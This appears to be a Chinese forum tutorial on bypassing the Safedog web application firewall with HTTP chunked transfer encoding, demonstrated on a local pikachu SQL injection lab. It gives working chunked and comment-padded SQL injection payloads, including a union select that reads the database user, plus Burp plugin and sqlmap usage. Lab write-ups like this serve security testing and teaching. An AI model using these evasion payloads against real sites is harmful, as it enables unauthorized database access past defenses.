-
-
[原创]WAF 分块传输绕过
-
发表于: 1天前 341
-
0x01 分块传输介绍
分块传输编码(Chunked transfer encoding)是超文本传输协议(HTTP)中的一种数据传输机制,允许HTTP由应用服务器发送给客户端应用( 通常是网页浏览器)的数据可以分成多个部分。在消息头中指定Transfer-Encoding: chunked 就表示整个response将使用分块传输编码来传输内容,一个完整的消息体由n个块组成,并以最后一个大小为0的块为结束。每个非空的块包括两部分,分别为:块的长度(用十六进制表示)后面跟一个CRLF (回车及换行),长度并不包括结尾的回车换行符。第二部分就是数据本身,同样以CRLF (回车及换行)结束。最后一块是单行,只由块大小(0)以及CRLF组成,不包含任何数据。
通常情况下,HTTP的响应消息体(message body)是作为整包发送到客户端的,用头(Content-Length) 来表示消息体的长度,这个长度对客户端非常重要,因为对于持久连接TCP并不会在请求完立马结束,而是可以发送多次请求/响应,客户端需要知道哪个位置才是响应消息的结束,以及后续响应的开始,因此Content-Length显得尤为重要,服务端必须精确地告诉客户端(message body)的长度是多少,如果(Content-Length)比实际返回的长度短,那么就会造成内容截断,如果比实体内容长,客户端就一直处于pendding状态,直到所有的(message body)都返回了请求才结束。

0x02 分块传输环境
安装安全狗时可能遇到无法找到服务名问题,可以查看这篇文章解决:71aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8X3u0D9L8$3N6K6i4K6u0W2j5$3!0E0i4K6u0r3j5Y4g2T1N6h3y4Z5N6g2)9J5c8Y4m8Q4x3V1j5^5z5e0R3H3y4o6M7^5i4K6u0W2K9s2c8E0L8l9`.`.
默认安装完安全狗WAF是没有开启POST内容防护的,所以需要手动在网站防护设置中添加POST内容检测项目

0x03 分块传输利用
以pikachu靶场的数字型注入为例,使用BurpSuite拦截原始数据包如下
POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1Host: 192.168.158.130User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 30Origin: 0e0K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0p5#2z5q4)9J5k6e0p5K6x3p5y4G2L8X3&6W2j5%4c8A6L8$3&6Q4x3@1q4Q4x3U0k6F1j5Y4y4H3i4K6y4n7j5$3I4G2M7$3g2d9k6h3k6W2M7X3g2J5i4K6y4m8i4K6t1$3L8X3u0K6M7q4)9K6b7X3S2@1N6s2m8Q4x3@1q4Q4x3V1k6Q4x3V1j5I4z5e0u0Q4x3X3f1I4y4U0S2Q4x3X3f1I4y4e0S2Q4x3X3f1I4x3K6m8Q4x3V1k6H3K9h3E0S2j5$3S2#2i4K6u0r3N6Y4g2D9i4K6u0r3M7%4q4D9K9g2)9J5c8Y4y4I4L8r3W2Q4y4h3k6A6k6q4)9J5k6i4m8Z5M7p5y4G2L8$3E0A6k6g2)9K6b7g2)9J5y4X3&6T1M7%4m8Q4x3@1u0b7d9q4m8e0c8g2y4e0d9f1c8Q4x3@1b7@1y4$3f1&6z5e0R3H3x3$3b7%4x3o6j5#2j5K6S2T1j5e0c8W2z5o6x3^5y4r3t1@1k6h3j5K6j5K6R3H3z5q4)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1u0K6j5h3k6W2k6r3!0Y4i4K6u0V1k6X3I4G2N6#2)9J5k6r3W2@1k6h3#2Q4x3@1c8g2M7r3N6J5j5h3c8W2i4K6u0V1d9h3&6K6k6h3y4#2M7X3g2Q4x3X3c8d9k6i4q4#2k6i4y4@1M7#2)9K6b7g2)9J5y4X3&6T1M7%4m8Q4x3@1t1I4K9h3c8Q4x3@1b7I4i4K6t1$3j5h3#2H3i4K6y4n7M7%4g2T1L8h3W2@1i4K6y4p5i4K6t1#2c8e0k6Q4x3U0f1&6c8W2)9J5y4f1p5#2i4K6t1#2c8e0S2Q4x3U0g2m8c8W2)9J5y4f1p5J5

直接使用id=1 and 1=1 -- ,⼀般的WAF都会检测拦截

在请求头添加【Transfer-Encoding】并且值设为【Chunked】,设置成功后就可以进⾏多个分块数据的传输
Transfer-Encoding: Chunked

通过分块传输进⾏绕过,将原始数据进行拆分小块,注意每个小块长度尽量不要设置太大,否则可能引起报错。
原始请求数据:id=1 and 1=1 -- &submit=%E6%9F%A5%E8%AF%A2分块传输数据:4id=15 and 31=14 -- 8&submit=9%E6%9F%A59%E8%AF%A20(两个换行)

在本地靶场测试过程中发现,分块长度超过10时会导致报错,具体分块长度视实际情况而定。
一些比较好的WAF已经对Transfer-Encoding的分块传输做了处理,可以把分块组合成完整的HTTP数据包,这时直接使用常规的分块传输方法尝试绕过的话,会被WAF直接识别并阻断。
分块传输可以在长度标识处加上分号“;”作为注释,如:
4;testid=15;aaaaaaaaaa and 3;1234561=14;asdsdsasdqweq -- 8;QWEasdZXC&submit=9;1qaz2wsx%E6%9F%A59;123123123%E8%AF%A20(两个换行)

利用分块传输绕过WAF进行SQL注入读取数据当前数据库用户名
原始payload:id=-1 union select 1,user() -- &submit=%E6%9F%A5%E8%AF%A2分块传输payload:5id=-17 union 6select9 1,user()4 -- 8;QWEasdZXC&submit=9;1qaz2wsx%E6%9F%A59;123123123%E8%AF%A20(两个换行)

0x04 BurpSuite分块传输插件
Chunked coding converter 是一款用于分块传输绕WAF的BurpSuite扩展插件
将分块传输插件下载到本地,并导入添加到BurpSuite扩展中使用

导入成功后,可在重放数据包界面中右键查看到插件扩展

点击配置,可以对分块传输内容进行调整

首先在数据包中将要SQL注入测试的语句编辑好,然后利用插件的(Encoding request body)功能进行分块传输编码

编码成功后,可以看到数据包中的内容被自动替换,重放数据包即可绕过WAF注入成功

0x05 sqlmap联动分块传输插件
为了方便演示,在测试sqlmap分块传输注入前,需要将安全狗的cc攻击防护关闭

首先在分块传输插件的设置中,勾选作用于代理(Proxy)

将BurpSuite拦截的数据包保存到本地txt文件中,sqlmap使用-r参数读取本地txt文件,-p指定注入参数

然后使用sqlmap对漏洞参数进行注入测试,并设置BurpSuite的代理地址
sqlmap -r sql.txt -p id --dbs --fresh-queries --proxy=a97K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9K6b7e0R3H3z5o6l9`.
